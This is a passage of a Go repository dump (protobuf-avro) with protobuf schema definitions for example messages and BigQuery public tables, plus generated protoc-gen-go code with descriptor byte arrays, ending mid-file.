/internal/examples/proto/einride/avro/example/v1/example_recursive.proto: -------------------------------------------------------------------------------- 1 | syntax = "proto3"; 2 | 3 | package einride.avro.example.v1; 4 | 5 | option go_package = "go.einride.tech/protobuf-avro/internal/examples/proto/gen/einride/avro/example/v1;examplev1"; 6 | 7 | 8 | message ExampleRecursive { 9 | ExampleRecursive recursive = 1; 10 | } 11 | -------------------------------------------------------------------------------- /internal/examples/proto/einride/avro/example/v1/example_struct.proto: -------------------------------------------------------------------------------- 1 | syntax = "proto3"; 2 | 3 | package einride.avro.example.v1; 4 | 5 | option go_package = "go.einride.tech/protobuf-avro/internal/examples/proto/gen/einride/avro/example/v1;examplev1"; 6 | 7 | import "google/protobuf/struct.proto"; 8 | 9 | message ExampleStruct { 10 | google.protobuf.Struct struct = 1; 11 | } 12 | -------------------------------------------------------------------------------- /internal/examples/proto/einride/avro/example/v1/example_timeofday.proto: -------------------------------------------------------------------------------- 1 | syntax = "proto3"; 2 | 3 | package einride.avro.example.v1; 4 | 5 | option go_package = "go.einride.tech/protobuf-avro/internal/examples/proto/gen/einride/avro/example/v1;examplev1"; 6 | 7 | import "google/type/timeofday.proto"; 8 | 9 | message ExampleTimeOfDay { 10 | google.type.TimeOfDay time_of_day = 1; 11 | } 12 | -------------------------------------------------------------------------------- /internal/examples/proto/einride/avro/example/v1/example_timestamp.proto: -------------------------------------------------------------------------------- 1 | syntax = "proto3"; 2 | 3 | package einride.avro.example.v1; 4 | 5 | option go_package = "go.einride.tech/protobuf-avro/internal/examples/proto/gen/einride/avro/example/v1;examplev1"; 6 | 7 | import "google/protobuf/timestamp.proto"; 8 | 9 | message ExampleTimestamp { 10 | google.protobuf.Timestamp timestamp = 1; 11 | } 12 | -------------------------------------------------------------------------------- /internal/examples/proto/einride/avro/example/v1/example_wrappers.proto: -------------------------------------------------------------------------------- 1 | syntax = "proto3"; 2 | 3 | package einride.avro.example.v1; 4 | 5 | option go_package = "go.einride.tech/protobuf-avro/internal/examples/proto/gen/einride/avro/example/v1;examplev1"; 6 | 7 | import "google/protobuf/wrappers.proto"; 8 | 9 | message ExampleWrappers { 10 | google.protobuf.FloatValue float_value = 1; 11 | google.protobuf.DoubleValue double_value = 2; 12 | google.protobuf.StringValue string_value = 3; 13 | google.protobuf.BytesValue bytes_value = 4; 14 | google.protobuf.Int32Value int32_value = 5; 15 | google.protobuf.Int64Value int64_value = 6; 16 | google.protobuf.UInt32Value uint32_value = 7; 17 | google.protobuf.UInt64Value uint64_value = 8; 18 | google.protobuf.BoolValue bool_value = 9; 19 | } 20 | -------------------------------------------------------------------------------- /internal/examples/proto/einride/bigquery/example/v1/example_datetime.proto: -------------------------------------------------------------------------------- 1 | syntax = "proto3"; 2 | 3 | package einride.bigquery.example.v1; 4 | 5 | option go_package = "go.einride.tech/protobuf-avro/internal/examples/proto/gen/einride/bigquery/example/v1;examplev1"; 6 | 7 | import "google/type/datetime.proto"; 8 | 9 | message ExampleDateTime { 10 | google.type.DateTime date_time = 1; 11 | } 12 | -------------------------------------------------------------------------------- /internal/examples/proto/einride/bigquery/example/v1/example_enum.proto: -------------------------------------------------------------------------------- 1 | syntax = "proto3"; 2 | 3 | package einride.bigquery.example.v1; 4 | 5 | option go_package = "go.einride.tech/protobuf-avro/internal/examples/proto/gen/einride/bigquery/example/v1;examplev1"; 6 | 7 | message ExampleEnum { 8 | Enum enum_value = 1; 9 | 10 | enum Enum { 11 | ENUM_UNSPECIFIED = 0; 12 | ENUM_VALUE1 = 1; 13 | ENUM_VALUE2 = 2; 14 | } 15 | } 16 | -------------------------------------------------------------------------------- /internal/examples/proto/einride/bigquery/example/v1/example_list.proto: -------------------------------------------------------------------------------- 1 | syntax = "proto3"; 2 | 3 | package einride.bigquery.example.v1; 4 | 5 | option go_package = "go.einride.tech/protobuf-avro/internal/examples/proto/gen/einride/bigquery/example/v1;examplev1"; 6 | 7 | import "google/protobuf/wrappers.proto"; 8 | 9 | message ExampleList { 10 | repeated int64 int64_list = 1; 11 | repeated string string_list = 2; 12 | repeated Enum enum_list = 3; 13 | repeated Nested nested_list = 4; 14 | repeated google.protobuf.FloatValue float_value_list = 5; 15 | 16 | enum Enum { 17 | ENUM_UNSPECIFIED = 0; 18 | ENUM_VALUE1 = 1; 19 | ENUM_VALUE2 = 2; 20 | } 21 | 22 | message Nested { 23 | repeated string string_list = 1; 24 | } 25 | } 26 | -------------------------------------------------------------------------------- /internal/examples/proto/einride/bigquery/example/v1/example_map.proto: -------------------------------------------------------------------------------- 1 | syntax = "proto3"; 2 | 3 | package einride.bigquery.example.v1; 4 | 5 | option go_package = "go.einride.tech/protobuf-avro/internal/examples/proto/gen/einride/bigquery/example/v1;examplev1"; 6 | 7 | import "google/protobuf/wrappers.proto"; 8 | 9 | message ExampleMap { 10 | map string_to_string = 1; 11 | map string_to_nested = 2; 12 | map string_to_enum = 3; 13 | 14 | map int32_to_string = 4; 15 | map int64_to_string = 5; 16 | map uint32_to_string = 6; 17 | map bool_to_string = 7; 18 | 19 | map string_to_float_value = 8; 20 | 21 | enum Enum { 22 | ENUM_UNSPECIFIED = 0; 23 | ENUM_VALUE1 = 1; 24 | ENUM_VALUE2 = 2; 25 | } 26 | 27 | message Nested { 28 | map string_to_string = 1; 29 | } 30 | } 31 | -------------------------------------------------------------------------------- /internal/examples/proto/einride/bigquery/example/v1/example_oneof.proto: -------------------------------------------------------------------------------- 1 | syntax = "proto3"; 2 | 3 | package einride.bigquery.example.v1; 4 | 5 | option go_package = "go.einride.tech/protobuf-avro/internal/examples/proto/gen/einride/bigquery/example/v1;examplev1"; 6 | 7 | message ExampleOneof { 8 | oneof oneof_fields_1 { 9 | EmptyMessage oneof_empty_message_1 = 1; 10 | bool oneof_bool_1 = 2; 11 | } 12 | oneof oneof_fields_2 { 13 | EmptyMessage oneof_empty_message_2 = 3; 14 | Message oneof_message = 4; 15 | } 16 | message EmptyMessage { 17 | } 18 | message Message { 19 | string string_value = 1; 20 | } 21 | } 22 | -------------------------------------------------------------------------------- /internal/examples/proto/einride/bigquery/example/v1/example_wrappers.proto: -------------------------------------------------------------------------------- 1 | syntax = "proto3"; 2 | 3 | package einride.bigquery.example.v1; 4 | 5 | option go_package = "go.einride.tech/protobuf-avro/internal/examples/proto/gen/einride/bigquery/example/v1;examplev1"; 6 | 7 | import "google/protobuf/wrappers.proto"; 8 | 9 | message ExampleWrappers { 10 | google.protobuf.FloatValue float_value = 1; 11 | google.protobuf.DoubleValue double_value = 2; 12 | google.protobuf.StringValue string_value = 3; 13 | google.protobuf.BytesValue bytes_value = 4; 14 | google.protobuf.Int32Value int32_value = 5; 15 | google.protobuf.Int64Value int64_value = 6; 16 | google.protobuf.UInt32Value uint32_value = 7; 17 | google.protobuf.UInt64Value uint64_value = 8; 18 | google.protobuf.BoolValue bool_value = 9; 19 | } 20 | -------------------------------------------------------------------------------- /internal/examples/proto/einride/bigquery/public/v1/dogecoin_transaction.proto: -------------------------------------------------------------------------------- 1 | syntax = "proto3"; 2 | 3 | package einride.bigquery.public.v1; 4 | 5 | option go_package = "go.einride.tech/protobuf-avro/internal/examples/proto/gen/einride/bigquery/public/v1;publicv1"; 6 | 7 | import "google/protobuf/timestamp.proto"; 8 | import "google/type/date.proto"; 9 | 10 | // Protobuf schema for the BigQuery public table: 11 | // 12 | // bigquery-public-data.crypto_dogecoin.transactions 13 | message DogecoinTransaction { 14 | string hash = 1; // STRING REQUIRED 15 | int64 size = 2; // INTEGER NULLABLE 16 | int64 virtual_size = 3; // INTEGER NULLABLE 17 | int64 version = 4; // INTEGER NULLABLE 18 | int64 lock_time = 5; // INTEGER NULLABLE 19 | string block_hash = 6; // STRING REQUIRED 20 | int64 block_number = 7; // INTEGER REQUIRED 21 | google.protobuf.Timestamp block_timestamp = 8; // TIMESTAMP REQUIRED 22 | google.type.Date block_timestamp_month = 9; // DATE REQUIRED 23 | int64 input_count = 10; // INTEGER NULLABLE 24 | int64 output_count = 11; // INTEGER NULLABLE 25 | // TOOD: Figure out if there's a common protobuf type for NUMERIC. 26 | //string input_value = 12; // NUMERIC NULLABLE 27 | //string output_value = 13; // NUMERIC NULLABLE 28 | bool is_coinbase = 14; // BOOLEAN NULLABLE 29 | // TOOD: Figure out if there's a common protobuf type for NUMERIC. 30 | //string fee = 15; // NUMERIC NULLABLE 31 | repeated Input inputs = 16; // RECORD REPEATED 32 | repeated Output outputs = 17; // RECORD REPEATED 33 | 34 | message Input { 35 | int64 index = 1; // INTEGER REQUIRED 36 | string spent_transaction_hash = 2; // STRING NULLABLE 37 | int64 spent_output_index = 3; // INTEGER NULLABLE 38 | string script_asm = 4; // STRING NULLABLE 39 | string script_hex = 5; // STRING NULLABLE 40 | int64 sequence = 6; // INTEGER NULLABLE 41 | int64 required_signatures = 7; // INTEGER NULLABLE 42 | string type = 8; // STRING NULLABLE 43 | repeated string addresses = 9; // STRING REPEATED 44 | // TOOD: Figure out if there's a common protobuf type for NUMERIC. 45 | //string value = 10; // NUMERIC NULLABLE 46 | } 47 | 48 | message Output { 49 | int64 index = 1; // INTEGER REQUIRED 50 | string script_asm = 2; // STRING NULLABLE 51 | string script_hex = 3; // STRING NULLABLE 52 | int64 required_signatures = 4; // INTEGER NULLABLE 53 | string type = 5; // STRING NULLABLE 54 | repeated string addresses = 6; // STRING REPEATED 55 | // TOOD: Figure out if there's a common protobuf type for NUMERIC. 56 | //string value = 7; // NUMERIC NULLABLE 57 | } 58 | } 59 | -------------------------------------------------------------------------------- /internal/examples/proto/einride/bigquery/public/v1/film_location.proto: -------------------------------------------------------------------------------- 1 | syntax = "proto3"; 2 | 3 | package einride.bigquery.public.v1; 4 | 5 | option go_package = "go.einride.tech/protobuf-avro/internal/examples/proto/gen/einride/bigquery/public/v1;publicv1"; 6 | 7 | // Protobuf schema for the BigQuery public table: 8 | // 9 | // bigquery-public-data.san_francisco_film_locations.film_locations 10 | message FilmLocation { 11 | string title = 1; // STRING NULLABLE 12 | int64 release_year = 2; // INTEGER NULLABLE 13 | string locations = 3; // STRING NULLABLE 14 | string fun_facts = 4; // STRING NULLABLE 15 | string production_company = 5; // STRING NULLABLE 16 | string distributor = 6; // STRING NULLABLE 17 | string director = 7; // STRING NULLABLE 18 | string writer = 8; // STRING NULLABLE 19 | string actor_1 = 9; // STRING NULLABLE 20 | string actor_2 = 10; // STRING NULLABLE 21 | string actor_3 = 11; // STRING NULLABLE 22 | } 23 | -------------------------------------------------------------------------------- /internal/examples/proto/einride/bigquery/public/v1/hacker_news_story.proto: -------------------------------------------------------------------------------- 1 | syntax = "proto3"; 2 | 3 | package einride.bigquery.public.v1; 4 | 5 | option go_package = "go.einride.tech/protobuf-avro/internal/examples/proto/gen/einride/bigquery/public/v1;publicv1"; 6 | 7 | import "google/protobuf/timestamp.proto"; 8 | 9 | // Protobuf schema for the BigQuery public table: 10 | // 11 | // bigquery-public-data.hacker_news.stories 12 | message HackerNewsStory { 13 | int64 id = 1; // INTEGER NULLABLE 14 | string by = 2; // STRING NULLABLE 15 | int32 score = 3; // INTEGER NULLABLE 16 | int64 time = 4; // INTEGER NULLABLE 17 | google.protobuf.Timestamp time_ts = 5; // TIMESTAMP NULLABLE 18 | string title = 6; // STRING NULLABLE 19 | string url = 7; // STRING NULLABLE 20 | string text = 8; // STRING NULLABLE 21 | bool deleted = 9; // BOOLEAN NULLABLE 22 | bool dead = 10; // BOOLEAN NULLABLE 23 | int32 descendants = 11; // INTEGER NULLABLE 24 | string author = 12; // STRING NULLABLE 25 | } 26 | -------------------------------------------------------------------------------- /internal/examples/proto/einride/bigquery/public/v1/historic_severe_storm.proto: -------------------------------------------------------------------------------- 1 | syntax = "proto3"; 2 | 3 | package einride.bigquery.public.v1; 4 | 5 | option go_package = "go.einride.tech/protobuf-avro/internal/examples/proto/gen/einride/bigquery/public/v1;publicv1"; 6 | 7 | import "google/type/datetime.proto"; 8 | import "google/type/latlng.proto"; 9 | 10 | // Protobuf schema for the BigQuery public table: 11 | // 12 | // bigquery-public-data.noaa_historic_severe_storms.storms_* 13 | message HistoricSevereStorm { 14 | string episode_id = 1; // STRING NULLABLE 15 | string event_id = 2; // STRING NULLABLE 16 | string state = 3; // STRING NULLABLE 17 | string state_fips_code = 4; // STRING NULLABLE 18 | string event_type = 5; // STRING NULLABLE 19 | string cz_type = 6; // STRING NULLABLE 20 | string cz_fips_code = 7; // STRING NULLABLE 21 | string cz_name = 8; // STRING NULLABLE 22 | string wfo = 9; // STRING NULLABLE 23 | google.type.DateTime event_begin_time = 10; // DATETIME NULLABLE 24 | string event_timezone = 11; // STRING NULLABLE 25 | google.type.DateTime event_end_time = 12; // DATETIME NULLABLE 26 | int64 injuries_direct = 13; // INTEGER NULLABLE 27 | int64 injuries_indirect = 14; // INTEGER NULLABLE 28 | int64 deaths_direct = 15; // INTEGER NULLABLE 29 | int64 deaths_indirect = 16; // INTEGER NULLABLE 30 | int64 damage_property = 17; // INTEGER NULLABLE 31 | int64 damage_crops = 18; // INTEGER NULLABLE 32 | string source = 19; // STRING NULLABLE 33 | double magnitude = 20; // FLOAT NULLABLE 34 | string magnitude_type = 21; // STRING NULLABLE 35 | string flood_cause = 22; // STRING NULLABLE 36 | string tor_f_scale = 23; // STRING NULLABLE 37 | string tor_length = 24; // STRING NULLABLE 38 | string tor_width = 25; // STRING NULLABLE 39 | string tor_other_wfo = 26; // STRING NULLABLE 40 | string location_index = 27; // STRING NULLABLE 41 | double event_range = 28; // FLOAT NULLABLE 42 | string event_azimuth = 29; // STRING NULLABLE 43 | string reference_location = 30; // STRING NULLABLE 44 | double event_latitude = 31; // FLOAT NULLABLE 45 | double event_longitude = 32; // FLOAT NULLABLE 46 | google.type.LatLng event_point = 33; // GEOGRAPHY NULLABLE 47 | } 48 | -------------------------------------------------------------------------------- /internal/examples/proto/einride/bigquery/public/v1/london_bicycle_rental.proto: -------------------------------------------------------------------------------- 1 | syntax = "proto3"; 2 | 3 | package einride.bigquery.public.v1; 4 | 5 | option go_package = "go.einride.tech/protobuf-avro/internal/examples/proto/gen/einride/bigquery/public/v1;publicv1"; 6 | 7 | import "google/protobuf/duration.proto"; 8 | import "google/protobuf/timestamp.proto"; 9 | 10 | // Protobuf schema for the BigQuery public table: 11 | // 12 | // bigquery-public-data.london_bicycles.cycle_hire 13 | message LondonBicycleRental { 14 | int64 rental_id = 1; // INTEGER REQUIRED 15 | google.protobuf.Duration duration = 2; // INTEGER NULLABLE 16 | int64 bike_id = 3; // INTEGER NULLABLE 17 | google.protobuf.Timestamp end_date = 4; // TIMESTAMP NULLABLE 18 | int64 end_station_id = 5; // INTEGER NULLABLE 19 | string end_station_name = 6; // STRING NULLABLE 20 | google.protobuf.Timestamp start_date = 7; // TIMESTAMP NULLABLE 21 | int64 start_station_id = 8; // INTEGER NULLABLE 22 | string start_station_name = 9; // STRING NULLABLE 23 | int64 end_station_logical_terminal = 10; // INTEGER NULLABLE 24 | int64 start_station_logical_terminal = 11; // INTEGER NULLABLE 25 | int64 end_station_priority_id = 12; // INTEGER NULLABLE 26 | } 27 | -------------------------------------------------------------------------------- /internal/examples/proto/einride/bigquery/public/v1/london_bicycle_station.proto: -------------------------------------------------------------------------------- 1 | syntax = "proto3"; 2 | 3 | package einride.bigquery.public.v1; 4 | 5 | option go_package = "go.einride.tech/protobuf-avro/internal/examples/proto/gen/einride/bigquery/public/v1;publicv1"; 6 | 7 | import "google/type/date.proto"; 8 | 9 | // Protobuf schema for the BigQuery public table: 10 | // 11 | // bigquery-public-data.london_bicycles.cycle_stations 12 | message LondonBicycleStation { 13 | int64 id = 1; // INTEGER NULLABLE 14 | bool installed = 2; // BOOLEAN NULLABLE 15 | double latitude = 3; // FLOAT NULLABLE 16 | string locked = 4; // STRING NULLABLE 17 | double longitude = 5; // FLOAT NULLABLE 18 | string name = 6; // STRING NULLABLE 19 | int64 bikes_count = 7; // INTEGER NULLABLE 20 | int64 docks_count = 8; // INTEGER NULLABLE 21 | //int64 nbEmptyDocks = 9; // INTEGER NULLABLE 22 | bool temporary = 10; // BOOLEAN NULLABLE 23 | string terminal_name = 11; // STRING NULLABLE 24 | google.type.Date install_date = 12; // DATE NULLABLE 25 | google.type.Date removal_date = 13; // DATE NULLABLE 26 | } 27 | -------------------------------------------------------------------------------- /internal/examples/proto/einride/bigquery/public/v1/san_fransisco_transit_stop_time.proto: -------------------------------------------------------------------------------- 1 | syntax = "proto3"; 2 | 3 | package einride.bigquery.public.v1; 4 | 5 | option go_package = "go.einride.tech/protobuf-avro/internal/examples/proto/gen/einride/bigquery/public/v1;publicv1"; 6 | 7 | import "google/type/timeofday.proto"; 8 | 9 | // Protobuf schema for the BigQuery public table: 10 | // 11 | // bigquery-public-data.san_francisco_transit_muni.stop_times 12 | message SanFransiscoTransitStopTime { 13 | int64 stop_id = 1; // INTEGER NULLABLE 14 | int64 trip_id = 2; // INTEGER NULLABLE 15 | int64 stop_sequence = 3; // INTEGER NULLABLE 16 | google.type.TimeOfDay arrival_time = 4; // TIME NULLABLE 17 | bool arrives_next_day = 5; // BOOLEAN NULLABLE 18 | google.type.TimeOfDay departure_time = 6; // TIME NULLABLE 19 | bool departs_next_day = 7; // BOOLEAN NULLABLE 20 | string dropoff_type = 8; // STRING NULLABLE 21 | bool exact_timepoint = 9; // BOOLEAN NULLABLE 22 | } 23 | -------------------------------------------------------------------------------- /internal/examples/proto/einride/bigquery/public/v1/whos_on_first_geojson.proto: -------------------------------------------------------------------------------- 1 | syntax = "proto3"; 2 | 3 | package einride.bigquery.public.v1; 4 | 5 | option go_package = "go.einride.tech/protobuf-avro/internal/examples/proto/gen/einride/bigquery/public/v1;publicv1"; 6 | 7 | import "google/protobuf/struct.proto"; 8 | import "google/protobuf/timestamp.proto"; 9 | 10 | // Protobuf schema for the BigQuery public table: 11 | // 12 | // bigquery-public-data.geo_whos_on_first.geojson 13 | message WhosOnFirstGeoJson { 14 | string geoid = 1; // STRING NULLABLE 15 | int64 id = 2; // INTEGER NULLABLE 16 | google.protobuf.Struct body = 3; // STRING NULLABLE 17 | string geometry_type = 4; // STRING NULLABLE 18 | string bounding_box = 5; // GEOGRAPHY NULLABLE 19 | string geom = 6; // GEOGRAPHY NULLABLE 20 | int64 last_modified = 7; // INTEGER NULLABLE 21 | google.protobuf.Timestamp last_modified_timestamp = 8; // TIMESTAMP NULLABLE 22 | } 23 | -------------------------------------------------------------------------------- /internal/examples/proto/gen/einride/avro/example/v1/example_any.pb.go: -------------------------------------------------------------------------------- 1 | // Code generated by protoc-gen-go. DO NOT EDIT. 2 | // versions: 3 | // protoc-gen-go v1.35.2 4 | // protoc (unknown) 5 | // source: einride/avro/example/v1/example_any.proto 6 | 7 | package examplev1 8 | 9 | import ( 10 | protoreflect "google.golang.org/protobuf/reflect/protoreflect" 11 | protoimpl "google.golang.org/protobuf/runtime/protoimpl" 12 | anypb "google.golang.org/protobuf/types/known/anypb" 13 | reflect "reflect" 14 | sync "sync" 15 | ) 16 | 17 | const ( 18 | // Verify that this generated code is sufficiently up-to-date. 19 | _ = protoimpl.EnforceVersion(20 - protoimpl.MinVersion) 20 | // Verify that runtime/protoimpl is sufficiently up-to-date. 21 | _ = protoimpl.EnforceVersion(protoimpl.MaxVersion - 20) 22 | ) 23 | 24 | type ExampleAny struct { 25 | state protoimpl.MessageState 26 | sizeCache protoimpl.SizeCache 27 | unknownFields protoimpl.UnknownFields 28 | 29 | Any *anypb.Any `protobuf:"bytes,1,opt,name=any,proto3" json:"any,omitempty"` 30 | } 31 | 32 | func (x *ExampleAny) Reset() { 33 | *x = ExampleAny{} 34 | mi := &file_einride_avro_example_v1_example_any_proto_msgTypes[0] 35 | ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) 36 | ms.StoreMessageInfo(mi) 37 | } 38 | 39 | func (x *ExampleAny) String() string { 40 | return protoimpl.X.MessageStringOf(x) 41 | } 42 | 43 | func (*ExampleAny) ProtoMessage() {} 44 | 45 | func (x *ExampleAny) ProtoReflect() protoreflect.Message { 46 | mi := &file_einride_avro_example_v1_example_any_proto_msgTypes[0] 47 | if x != nil { 48 | ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) 49 | if ms.LoadMessageInfo() == nil { 50 | ms.StoreMessageInfo(mi) 51 | } 52 | return ms 53 | } 54 | return mi.MessageOf(x) 55 | } 56 | 57 | // Deprecated: Use ExampleAny.ProtoReflect.Descriptor instead. 58 | func (*ExampleAny) Descriptor() ([]byte, []int) { 59 | return file_einride_avro_example_v1_example_any_proto_rawDescGZIP(), []int{0} 60 | } 61 | 62 | func (x *ExampleAny) GetAny() *anypb.Any { 63 | if x != nil { 64 | return x.Any 65 | } 66 | return nil 67 | } 68 | 69 | var File_einride_avro_example_v1_example_any_proto protoreflect.FileDescriptor 70 | 71 | var file_einride_avro_example_v1_example_any_proto_rawDesc = []byte{ 72 | 0x0a, 0x29, 0x65, 0x69, 0x6e, 0x72, 0x69, 0x64, 0x65, 0x2f, 0x61, 0x76, 0x72, 0x6f, 0x2f, 0x65, 73 | 0x78, 0x61, 0x6d, 0x70, 0x6c, 0x65, 0x2f, 0x76, 0x31, 0x2f, 0x65, 0x78, 0x61, 0x6d, 0x70, 0x6c, 74 | 0x65, 0x5f, 0x61, 0x6e, 0x79, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x12, 0x17, 0x65, 0x69, 0x6e, 75 | 0x72, 0x69, 0x64, 0x65, 0x2e, 0x61, 0x76, 0x72, 0x6f, 0x2e, 0x65, 0x78, 0x61, 0x6d, 0x70, 0x6c, 76 | 0x65, 0x2e, 0x76, 0x31, 0x1a, 0x19, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2f, 0x70, 0x72, 0x6f, 77 | 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2f, 0x61, 0x6e, 0x79, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x22, 78 | 0x34, 0x0a, 0x0a, 0x45, 0x78, 0x61, 0x6d, 0x70, 0x6c, 0x65, 0x41, 0x6e, 0x79, 0x12, 0x26, 0x0a, 79 | 0x03, 0x61, 0x6e, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x14, 0x2e, 0x67, 0x6f, 0x6f, 80 | 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x41, 0x6e, 0x79, 81 | 0x52, 0x03, 0x61, 0x6e, 0x79, 0x42, 0x5d, 0x5a, 0x5b, 0x67, 0x6f, 0x2e, 0x65, 0x69, 0x6e, 0x72, 82 | 0x69, 0x64, 0x65, 0x2e, 0x74, 0x65, 0x63, 0x68, 0x2f, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 83 | 0x66, 0x2d, 0x61, 0x76, 0x72, 0x6f, 0x2f, 0x69, 0x6e, 0x74, 0x65, 0x72, 0x6e, 0x61, 0x6c, 0x2f, 84 | 0x65, 0x78, 0x61, 0x6d, 0x70, 0x6c, 0x65, 0x73, 0x2f, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x2f, 0x67, 85 | 0x65, 0x6e, 0x2f, 0x65, 0x69, 0x6e, 0x72, 0x69, 0x64, 0x65, 0x2f, 0x61, 0x76, 0x72, 0x6f, 0x2f, 86 | 0x65, 0x78, 0x61, 0x6d, 0x70, 0x6c, 0x65, 0x2f, 0x76, 0x31, 0x3b, 0x65, 0x78, 0x61, 0x6d, 0x70, 87 | 0x6c, 0x65, 0x76, 0x31, 0x62, 0x06, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x33, 88 | } 89 | 90 | var ( 91 | file_einride_avro_example_v1_example_any_proto_rawDescOnce sync.Once 92 | file_einride_avro_example_v1_example_any_proto_rawDescData = file_einride_avro_example_v1_example_any_proto_rawDesc 93 | ) 94 | 95 | func file_einride_avro_example_v1_example_any_proto_rawDescGZIP() []byte { 96 | file_einride_avro_example_v1_example_any_proto_rawDescOnce.Do(func() { 97 | file_einride_avro_example_v1_example_any_proto_rawDescData = protoimpl.X.CompressGZIP(file_einride_avro_example_v1_example_any_proto_rawDescData) 98 | }) 99 | return file_einride_avro_example_v1_example_any_proto_rawDescData 100 | } 101 | 102 | var file_einride_avro_example_v1_example_any_proto_msgTypes = make([]protoimpl.MessageInfo, 1) 103 | var file_einride_avro_example_v1_example_any_proto_goTypes = []any{ 104 | (*ExampleAny)(nil), // 0: einride.avro.example.v1.ExampleAny 105 | (*anypb.Any)(nil), // 1: google.protobuf.Any 106 | } 107 | var file_einride_avro_example_v1_example_any_proto_depIdxs = []int32{ 108 | 1, // 0: einride.avro.example.v1.ExampleAny.any:type_name -> google.protobuf.Any 109 | 1, // [1:1] is the sub-list for method output_type 110 | 1, // [1:1] is the sub-list for method input_type 111 | 1, // [1:1] is the sub-list for extension type_name 112 | 1, // [1:1] is the sub-list for extension extendee 113 | 0, // [0:1] is the sub-list for field type_name 114 | } 115 | 116 | func init() { file_einride_avro_example_v1_example_any_proto_init() } 117 | func file_einride_avro_example_v1_example_any_proto_init() { 118 | if File_einride_avro_example_v1_example_any_proto != nil { 119 | return 120 | } 121 | type x struct{} 122 | out := protoimpl.TypeBuilder{ 123 | File: protoimpl.DescBuilder{ 124 | GoPackagePath: reflect.TypeOf(x{}).PkgPath(), 125 | RawDescriptor: file_einride_avro_example_v1_example_any_proto_rawDesc, 126 | NumEnums: 0, 127 | NumMessages: 1, 128 | NumExtensions: 0, 129 | NumServices: 0, 130 | }, 131 | GoTypes: file_einride_avro_example_v1_example_any_proto_goTypes, 132 | DependencyIndexes: file_einride_avro_example_v1_example_any_proto_depIdxs, 133 | MessageInfos: file_einride_avro_example_v1_example_any_proto_msgTypes, 134 | }.Build() 135 | File_einride_avro_example_v1_example_any_proto = out.File 136 | file_einride_avro_example_v1_example_any_proto_rawDesc = nil 137 | file_einride_avro_example_v1_example_any_proto_goTypes = nil 138 | file_einride_avro_example_v1_example_any_proto_depIdxs = nil 139 | } 140 | -------------------------------------------------------------------------------- /internal/examples/proto/gen/einride/avro/example/v1/example_bytes.pb.go: -------------------------------------------------------------------------------- 1 | // Code generated by protoc-gen-go. DO NOT EDIT. 2 | // versions: 3 | // protoc-gen-go v1.35.2 4 | // protoc (unknown) 5 | // source: einride/avro/example/v1/example_bytes.proto 6 | 7 | package examplev1 8 | 9 | import ( 10 | protoreflect "google.golang.org/protobuf/reflect/protoreflect" 11 | protoimpl "google.golang.org/protobuf/runtime/protoimpl" 12 | reflect "reflect" 13 | sync "sync" 14 | ) 15 | 16 | const ( 17 | // Verify that this generated code is sufficiently up-to-date. 18 | _ = protoimpl.EnforceVersion(20 - protoimpl.MinVersion) 19 | // Verify that runtime/protoimpl is sufficiently up-to-date. 20 | _ = protoimpl.EnforceVersion(protoimpl.MaxVersion - 20) 21 | ) 22 | 23 | type ExampleBytes struct { 24 | state protoimpl.MessageState 25 | sizeCache protoimpl.SizeCache 26 | unknownFields protoimpl.UnknownFields 27 | 28 | Bytes []byte `protobuf:"bytes,1,opt,name=bytes,proto3" json:"bytes,omitempty"` 29 | } 30 | 31 | func (x *ExampleBytes) Reset() { 32 | *x = ExampleBytes{} 33 | mi := &file_einride_avro_example_v1_example_bytes_proto_msgTypes[0] 34 | ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) 35 | ms.StoreMessageInfo(mi) 36 | } 37 | 38 | func (x *ExampleBytes) String() string { 39 | return protoimpl.X.MessageStringOf(x) 40 | } 41 | 42 | func (*ExampleBytes) ProtoMessage() {} 43 | 44 | func (x *ExampleBytes) ProtoReflect() protoreflect.Message { 45 | mi := &file_einride_avro_example_v1_example_bytes_proto_msgTypes[0] 46 | if x != nil { 47 | ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) 48 | if ms.LoadMessageInfo() == nil { 49 | ms.StoreMessageInfo(mi) 50 | } 51 | return ms 52 | } 53 | return mi.MessageOf(x) 54 | } 55 | 56 | // Deprecated: Use ExampleBytes.ProtoReflect.Descriptor instead. 57 | func (*ExampleBytes) Descriptor() ([]byte, []int) { 58 | return file_einride_avro_example_v1_example_bytes_proto_rawDescGZIP(), []int{0} 59 | } 60 | 61 | func (x *ExampleBytes) GetBytes() []byte { 62 | if x != nil { 63 | return x.Bytes 64 | } 65 | return nil 66 | } 67 | 68 | var File_einride_avro_example_v1_example_bytes_proto protoreflect.FileDescriptor 69 | 70 | var file_einride_avro_example_v1_example_bytes_proto_rawDesc = []byte{ 71 | 0x0a, 0x2b, 0x65, 0x69, 0x6e, 0x72, 0x69, 0x64, 0x65, 0x2f, 0x61, 0x76, 0x72, 0x6f, 0x2f, 0x65, 72 | 0x78, 0x61, 0x6d, 0x70, 0x6c, 0x65, 0x2f, 0x76, 0x31, 0x2f, 0x65, 0x78, 0x61, 0x6d, 0x70, 0x6c, 73 | 0x65, 0x5f, 0x62, 0x79, 0x74, 0x65, 0x73, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x12, 0x17, 0x65, 74 | 0x69, 0x6e, 0x72, 0x69, 0x64, 0x65, 0x2e, 0x61, 0x76, 0x72, 0x6f, 0x2e, 0x65, 0x78, 0x61, 0x6d, 75 | 0x70, 0x6c, 0x65, 0x2e, 0x76, 0x31, 0x22, 0x24, 0x0a, 0x0c, 0x45, 0x78, 0x61, 0x6d, 0x70, 0x6c, 76 | 0x65, 0x42, 0x79, 0x74, 0x65, 0x73, 0x12, 0x14, 0x0a, 0x05, 0x62, 0x79, 0x74, 0x65, 0x73, 0x18, 77 | 0x01, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x05, 0x62, 0x79, 0x74, 0x65, 0x73, 